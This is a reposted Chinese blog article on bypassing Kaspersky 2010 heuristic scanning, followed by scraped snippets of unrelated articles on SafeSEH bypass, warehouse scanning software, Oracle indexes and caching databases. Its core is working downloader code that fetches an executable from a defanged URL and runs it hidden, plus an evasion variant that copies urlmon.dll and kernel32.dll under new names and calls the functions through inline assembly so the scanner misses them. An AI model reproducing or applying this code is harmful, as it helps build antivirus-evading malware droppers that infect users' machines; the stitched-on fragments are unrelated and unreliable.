分析卡巴斯基启发式扫描及其绕过方案

转载自:http://blog.sina.com.cn/s/blog_63a4534c01012ugj.html

卡巴斯基2010有强大的启发式扫描,其实启发式扫描有很多弱点,有一个就是不能完全的模拟程序的运行环境,这就可能给我们留出来了一块空间来绕过启发式扫描,其实其它杀毒软件的启发式扫描都存在这些空间,下面就来分析一下卡巴斯基的启发式扫描吧!

首先要编一段程序来完成测试,程序一定要非常的针对启发式扫描这一块的,不然的话没有效果,选那段代码来测试呢?恩,有段代码启发式扫描几乎都要扫描的,那就是下载者的代码,一般的下载者代码如下:

(为防止误点击,所有网址已设为hxxp,欲尝试请修改后再访问)

int _tmain(int argc, _TCHAR* argv[])
{
URLDownloadToFileA(NULL,"hxxp://www.hehe/yan.exe","c:\\yan.exe",0,NULL);
WinExec("C:\\yan.exe",SW_HIDE);
}

上面代码应该是最熟悉的了,启发式扫描发现调用URLDownloadToFileA和WinExec就认为是病毒了,先写这么一个程序,放到卡巴斯基2010下

于是,卡巴报下载者病毒,看来卡巴的启发式扫描起作用了,经过测试,无论改成动态调用还是其它方案,只要调用Kennel32.dll中的WinExec和UrlMon.dll中的URLDownloadToFileA都无法躲过卡巴斯基的启发式扫描。
下面开始以启发式扫描的弱点来测试,那就是不能完全模拟程序运行环境的,当我们创建文件等操作时,在启发式扫描的环境中实际是没有操作的,那么方法诞生
了,可以先复制一个Kernel32.dll的副本Kaba.dll,然后动态调用KaBa.dll中的WinExec函数,那么启发式扫描应该作废了,
因为在启发式扫描的环境中根本不会真正的复制一个Kaba.dll文件,那么我们的动态调用就是未知的,所以我们的程序很安全。修改代码如下:

char * Str="c:\\yan.exe";
     char * Url="hxxp://www.hehe/yan.exe";
    CopyFileA("C:\\windows\\system32\\urlmon.dll","c:\\windows\\system32\\KaBaUrl.dll",true);
     LoadLibrary("KaBaUrl.dll");
     PVOID Dwon=GetProcAddress(GetModuleHandle("KaBaUrl.dll"),"URLDownloadToFileA");
     _asm
     {
         push 0
         push 0
         push Str
         push Url
         push 0
         call Dwon
     }
CopyFileA("c:\\windows\\system32\\kernel32.dll","c:\\windows\\system32\\KaBa.dll",true); LoadLibrary("KaBa.dll");
     PVOID Fun=GetProcAddress(GetModuleHandle("KaBa.dll"),"WinExec");
    _asm
     {
         push SW_HIDE
         push Str
         call Fun
}

上面代码生成的程序运行时,卡巴不会有任何反应,看来启发式扫描还有很大的缺点,最后希望卡巴斯基的启发式扫描越来越完善,到杀毒软件的启发式扫描能完全 模拟程序运行环境时,那么启发式扫描可能就不叫启发式扫描了(声明:上面代码只做测试使用,凡是用于非法用途的,后果自负。)

时间: 2024-10-14 14:14:03

分析卡巴斯基启发式扫描及其绕过方案的相关文章

内存保护机制及绕过方案——利用未启用SafeSEH模块绕过SafeSEH

前言:之前关于safeSEH保护机制的原理等信息,可在之前的博文(内存保护机制及绕过方案中查看). 利用未启用SafeSEH模块绕过SafeSEH ⑴.  原理分析: 一个不是仅包含中间语言(1L)且未启用SafeSEH的模块中的异常处理,如果异常处理链在栈上,异常处理函数指针不在栈上,那么这个异常处理就可以被执行. 所以,我们能找到一个未启用SafeSEH的模块,就可以利用它里面的指令作为跳板来绕过SafeSEH. ⑵.环境准备: i.实验代码: 生成exe文件的代码: #include "s

内存保护机制及绕过方案——从堆中绕过safeSEH

1.1    SafeSEH内存保护机制 1.1.1    Windows异常处理机制 Windows中主要两种异常处理机制,Windows异常处理(VEH.SEH)和C++异常处理.Windows异常处理结构未公开的,包含向量化结构异常VEH及结构化异常处理SEH.由操作系统提供的服务,当一个线程出现错误时,操作系统调用用户定义的一个回调函数_exept_handler.回调函数接收到操作系统传递过来的许多有价值的信息,例如异常的类型和发生的地址.使用这些信息,异常回调函数就能决定下一步做什么

出库发货扫描检测软件(方案)

产品发货扫描检测系统: 系统背景: 在仓库产品出库拣货发货的运作流程中,企业的操作一般为根据出库清单去仓库拣货,并根据出库清单发货:随着产品出库数量的增加,人工发货和手工记录将会导致产品出库发货的错误,附加着不必要的追货查货工作和及给企业带来损失. 系统特点:依据现有企业的发货清单报表(含单号.物料编码.产品名称.数量),将清单导入至软件里,仓库拣货扫描货品条码进行发货校验检测.过程进行条码扫描检测,达到对发货出库数据的准确性,从而避免人为判断导致操作错误.扫描记录产生系统报表,便于往后查询追溯

分析Oracle索引扫描四大类

这里介绍CBO根据统计数值得知进行全Oracle索引扫描比进行全表扫描更有效时,才进行全Oracle索引扫描,而且此时查询出的数据都必须从索引中可以直接得到. 学习Oracle时,你可能会遇到Oracle索引扫描问题,这里将介绍Oracle索引扫描问题的解决方法,在这里拿出来和大家分享一下.根据索引的类型与where限制条件的不同,有4种类型的Oracle索引扫描: ◆索引唯一扫描(index unique scan) ◆索引范围扫描(index range scan) ◆索引全扫描(index

UPGDSED的分析与绕过PG和DSE的方式

大纲: 对UPGDSED源码进行分析,并浅析其绕过PG和DSE方式. 小插曲: (1).要在内核搞事情,就必须加载驱动.加载驱动的道路充满荆棘,先是有杀软的加载驱动拦截,后是有MS的 PG 和 DSE 保护.杀软那一关已经过了,但后面还有PG和DSE. (2).逐渐深入研究,发现Fyyre和EP_X0FF两位大牛早已经绕过了,并且公布了UPGDSED源码.在这里表示敬佩. (3).时间有限,接下来我能做的,就是分析UPGDSED源码,和尽可能多得学习各种绕过的方法.所以UPGDSED源码分析会先

数据库sql优化总结之2-百万级数据库优化方案+案例分析

项目背景 有三张百万级数据表 知识点表(ex_subject_point)9,316条数据 试题表(ex_question_junior)2,159,519条数据 有45个字段 知识点试题关系表(ex_question_r_knowledge)3,156,155条数据 测试数据库为:mysql (5.7) 7.在 where 子句中使用参数,是不会导致全表扫描. 案例分析 8.在 where 子句中对字段进行表达式操作,是不会导致全表扫描.不过查询速度会变慢,所以尽量避免使用. 案例分析 执行时

如何更有效使用 Rational AppScan 扫描大型网站,第 2 部分: 案例分析

使用 AppScan 进行扫描 针对大型网站的扫描,我们按照戴明环 PDCA 的方法论来进行规划和讨论,建议 AppScan 使用步骤:计划(Plan).执行(Do).检查(check).分析(Analysis and Action). 在计划阶段:明确目的,进行策略性的选择和任务分解. 明确目的:选择合适的扫描策略 了解对象:首先进行探索,了解网站结构和规模 确定策略:进行对应的配置 按照目录进行扫描任务的分解 按照扫描策略进行扫描任务的分解 执行阶段:一边扫描一遍观察 进行扫描 先爬后扫(继

(转)Memcache,Redis,MongoDB(数据缓存系统)方案对比与分析

Memcache,Redis,MongoDB(数据缓存系统)方案对比与分析 数据库表数据量极大(千万条),要求让服务器更加快速地响应用户的需求. 二.解决方案: 1.通过高速服务器Cache缓存数据库数据 2.内存数据库 (这里仅从数据缓存方面考虑,当然,后期可以采用Hadoop+HBase+Hive等分布式存储分析平台) 三.主流解Cache和数据库对比: 上述技术基本上代表了当今在数据存储方面所有的实现方案,其中主要涉及到了普通关系型数据库(MySQL/PostgreSQL),NoSQL数据

Memcache,Redis,MongoDB(数据缓存系统)方案对比与分析

mongodb和memcached不是一个范畴内的东西.mongodb是文档型的非关系型数据库,其优势在于查询功能比较强大,能存储海量数据.mongodb和memcached不存在谁替换谁的问题. 和memcached更为接近的是redis.它们都是内存型数据库,数据保存在内存中,通过tcp直接存取,优势是速度快,并发高,缺点是数据类型有限,查询功能不强,一般用作缓存.在我们团队的项目中,一开始用的是memcached,后来用redis替代. 相比memcached: 1.redis具有持久化机